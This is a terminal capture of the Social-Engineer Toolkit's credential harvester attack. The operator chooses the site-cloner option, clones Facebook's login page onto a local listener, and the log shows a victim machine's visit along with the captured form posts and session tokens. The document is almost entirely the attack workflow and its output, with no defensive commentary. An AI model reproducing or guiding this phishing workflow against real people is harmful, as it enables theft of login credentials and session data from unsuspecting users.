```
File  Actions  Edit  View  Help
   1) Java Applet Attack Method
   2) Metasploit Browser Exploit Method
   3) Credential Harvester Attack Method
   4) Tabnabbing Attack Method
   5) Web Jacking Attack Method
   6) Multi-Attack Web Method
   7) HTA Attack Method

  99) Return to Main Menu

set:webattack>3

 The first method will allow SET to import a list of pre-defined web
 applications that it can utilize within the attack.

 The second method will completely clone a website of your choosing
 and allow you to utilize the attack vectors within the completely
 same web application you were attempting to clone.

 The third method allows you to import your own website, note that you
 should only have an index.html when using the import website
 functionality.

   1) Web Templates
   2) Site Cloner
   3) Custom Import

  99) Return to Webattack Menu

set:webattack>2
[-] Credential harvester will allow you to utilize the clone capabilities within SET
[-] to harvest credentials or parameters from a website as well as place them into a report
```

```
set:webattack> IP address for the POST back in Harvester/Tabnabbing [192.168.3.21]:
[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com
set:webattack> Enter the url to clone:http://www.facebook.com

[*] Cloning the website: https://login.facebook.com/login.php
[*] This could take a little bit...

The best way to use this attack is if username and password form fields are available. Regardless, this captures all POSTs on a website.
[*] The Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives below:
192.168.3.5 - - [07/May/2023 18:33:59] "GET / HTTP/1.1" 200 -
[*] WE GOT A HIT! Printing the output:
POSSIBLE USERNAME FIELD FOUND: ------WebKitFormBoundaryMypKSWjPTKmOBDLo
Content-Disposition: form-data; name="ts"

1683498841478
------WebKitFormBoundaryMypKSWjPTKmOBDLo
Content-Disposition: form-data; name="q"

[{"user":"0","webSessionId":"i4p9zl:nf53ao:xfj4sh","app_id":"256281040558","posts":[{"falco:bd_pdc_signals",{"e":"{\"asid\":\"fc680301-3d97-4c12-8390-392859
358f67\",\"ct\":1659080345,\"sjd\":\"EDOm6sC6PLaGnFt4sdRIGhGFUduABlu3oeqtg5l6Ao1f6dmKHq/LyCTB0zWVxhE8+vmmls+OOgYSmnJIK0j1OuIJXgUNkw3+6+sUzhJPq7UK1OyD7lq57IA
hjCGc+Ei9UrafdCm3q5zaa5OcG5a0/w==\",\"sid\":-1}","r":1,"d":"$^|AcbunKKdYLz_feHhdXExaKSA32KKocLDd1Mfz2aUdODsihXPbN4ppRqgF3EYwTLd4zv2C3ux3Yujo70-h67uOb0mCQ|fd
.AcbbRhAXBRvP7e-z-2bUhzjvY74SV1EX8YE8wRLt8NXM4CU-QDqyjkcjZsK6xwTJp5NRlvR7wcvo_-pdGJCJnL-3","s":"i4p9zl:nf53ao:xfj4sh","t":1683498802361.9},1683498841478,0,4
98]],"trigger":"falco:bd_pdc_signals"}]
------WebKitFormBoundaryMypKSWjPTKmOBDLo--
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.


192.168.3.5 - - [07/May/2023 18:34:00] "POST /ajax/bz?__a=1&__ccg=EXCELLENT&__dyn=7xe6E5aQ1PyUbFuC1swgE98nwgU29zEdEc8uwdK0lW4o3Bw5VCwjE3awbG782Cw8G1Qw5Mx61v
w5zwwwi81nE1u83mwaS0zE1bE1mUdEG0hi0Lo6-0iq0NE&__hs=19484.BP%3ADEFAULT.2.0..0.0&__hsi=7230572298857237977&__req=1&__rev=1007449476&__s=i4p9zl%3Anf53ao%3Axfj4
sh&__spin_b=trunk&__spin_r=1007449476&__spin_t=1683498802&__user=0&dpr=1&jazoest=29328lsd=AVp38DKisvQ HTTP/1.1" 302 -
[*] WE GOT A HIT! Printing the output:
POSSIBLE USERNAME FIELD FOUND: ------WebKitFormBoundary6q52UB60AcqcA9T2
Content-Disposition: form-data; name="ts"
```